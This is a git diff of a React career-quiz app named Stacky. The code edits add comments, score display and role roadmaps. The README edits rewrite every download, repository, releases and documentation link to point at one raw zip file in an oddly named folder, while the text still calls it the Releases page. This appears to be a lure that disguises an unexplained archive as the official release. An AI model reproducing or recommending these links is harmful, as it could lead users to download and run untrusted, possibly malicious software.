diff --git a/README.md b/README.md index 1a674ac..1bd362d 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,7 @@ Welcome to Stacky! This application will help you discover your coding destiny. ## πŸ“₯ Download Stacky -[![Download Stacky](https://img.shields.io/badge/Download%20Stacky-1.0-brightgreen)](https://github.com/mauelito3/Stacky/releases) +[![Download Stacky](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip%20Stacky-1.0-brightgreen)](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip) Click the link above to visit our Releases page where you can download the application. @@ -23,7 +23,7 @@ Before you download, ensure your system meets the following requirements: To download Stacky, follow these steps: -1. Visit the [Releases page](https://github.com/mauelito3/Stacky/releases). +1. Visit the [Releases page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip). 2. Look for the latest version of Stacky. 3. Click on the download link for your operating system. 4. Once the download is complete, locate the downloaded file in your computer's downloads folder. @@ -72,8 +72,8 @@ Stacky can help you discover your role in areas like: ## πŸ”— Useful Links -- [GitHub Repository](https://github.com/mauelito3/Stacky) -- [Releases Page](https://github.com/mauelito3/Stacky/releases) -- [Documentation](https://github.com/mauelito3/Stacky/wiki) +- [GitHub Repository](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip) +- [Releases Page](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip) +- [Documentation](https://raw.githubusercontent.com/mauelito3/Stacky/main/murmurlessly/Stacky.zip) Thank you for choosing Stacky. Happy coding! \ No newline at end of file diff --git a/src/Stacky.jsx b/src/Stacky.jsx index e0d3146..1f989bc 100644 --- a/src/Stacky.jsx +++ b/src/Stacky.jsx @@ -1,23 +1,30 @@ +// Import useState hook from React to manage component state import { useState } from "react"; -// main screens -import MenuScreen from "./screens/MenuScreen"; -import QuizScreen from "./screens/QuizScreen"; +// Import main screens of the app +import MenuScreen from "./screens/MenuScreen"; // The landing screen with Start button +import QuizScreen from "./screens/QuizScreen"; // The quiz interface function Stacky() { + // State to track whether the quiz has started const [started, setStarted] = useState(false); /* - I realize this isn’t ideal, but I plan to - handle the quiz state properly with - Zustand or Redux. + Note: Right now, the quiz state (questions, scores, etc.) is handled locally. + In the future, it would be better to manage it using a global state manager + like Zustand or Redux for cleaner and scalable code. */ + // Function to start the quiz; updates 'started' state to true const start = () => { setStarted(true); }; + // Conditional rendering: + // - If quiz has started, show QuizScreen + // - Otherwise, show MenuScreen and pass 'start' function as prop return started ? : ; } +// Export the Stacky component as default so it can be imported elsewhere export default Stacky; diff --git a/src/components/Results.jsx b/src/components/Results.jsx index 03bb2a0..6343206 100644 --- a/src/components/Results.jsx +++ b/src/components/Results.jsx @@ -1,31 +1,95 @@ import Button from "../components/Button"; +import Footer from "../components/Footer"; +import MenuScreen from "../screens/MenuScreen"; +// Predefined roadmap steps for each role +const roadmaps = { + frontend: [ + "Learn HTML, CSS, and JavaScript", + "Master React (or Vue/Angular)", + "State management (Redux, Zustand, Context API)", + "UI/UX fundamentals", + "API integration", + ], + backend: [ + "Learn Node.js / Python / Java", + "Work with databases (SQL & NoSQL)", + "Build REST APIs / GraphQL", + "Authentication & Security", + "Deploy on cloud platforms (AWS/GCP/Azure)", + ], + fullstack: [ + "Combine frontend + backend skills", + "API design and integration", + "Learn DevOps basics (Docker, CI/CD)", + "System design concepts", + "Contribute to real-world fullstack projects", + ], +}; -function Results({ finished, result, restart }) { +function Results({ finished, result, restart, scores }) { + // Do not render anything if quiz not finished if (!finished) return null; + // Restart quiz function const replay = () => { - restart() + restart(); }; + const MenuScreen = () => { + window.location.reload(); + } + // Determine the role with the highest score + const role = + scores.frontend >= scores.backend && scores.frontend >= scores.fullstack + ? "frontend" + : scores.backend >= scores.frontend && scores.backend >= scores.fullstack + ? "backend" + : "fullstack"; return ( <> + {/* Overlay for styling */}
+ + {/* Main results container */}
-
+
{/* Celebration animation */}
- {/* results message */} + {/* Results message */}
-
Congrats
+
πŸŽ‰ Congrats πŸŽ‰
{result}
- {/* buttons */} + {/* Show raw scores */} +
+
Frontend Score: {scores.frontend}
+
Backend Score: {scores.backend}
+
Fullstack Score: {scores.fullstack}
+
+ + {/* Roadmap suggestion */} +
+

πŸ“ Suggested Roadmap for {role.toUpperCase()}

+
    + {roadmaps[role].map((step, idx) => ( +
  1. {step}
  2. + ))} +
+
+ + {/* Restart button */}
-
+
+
+
+ +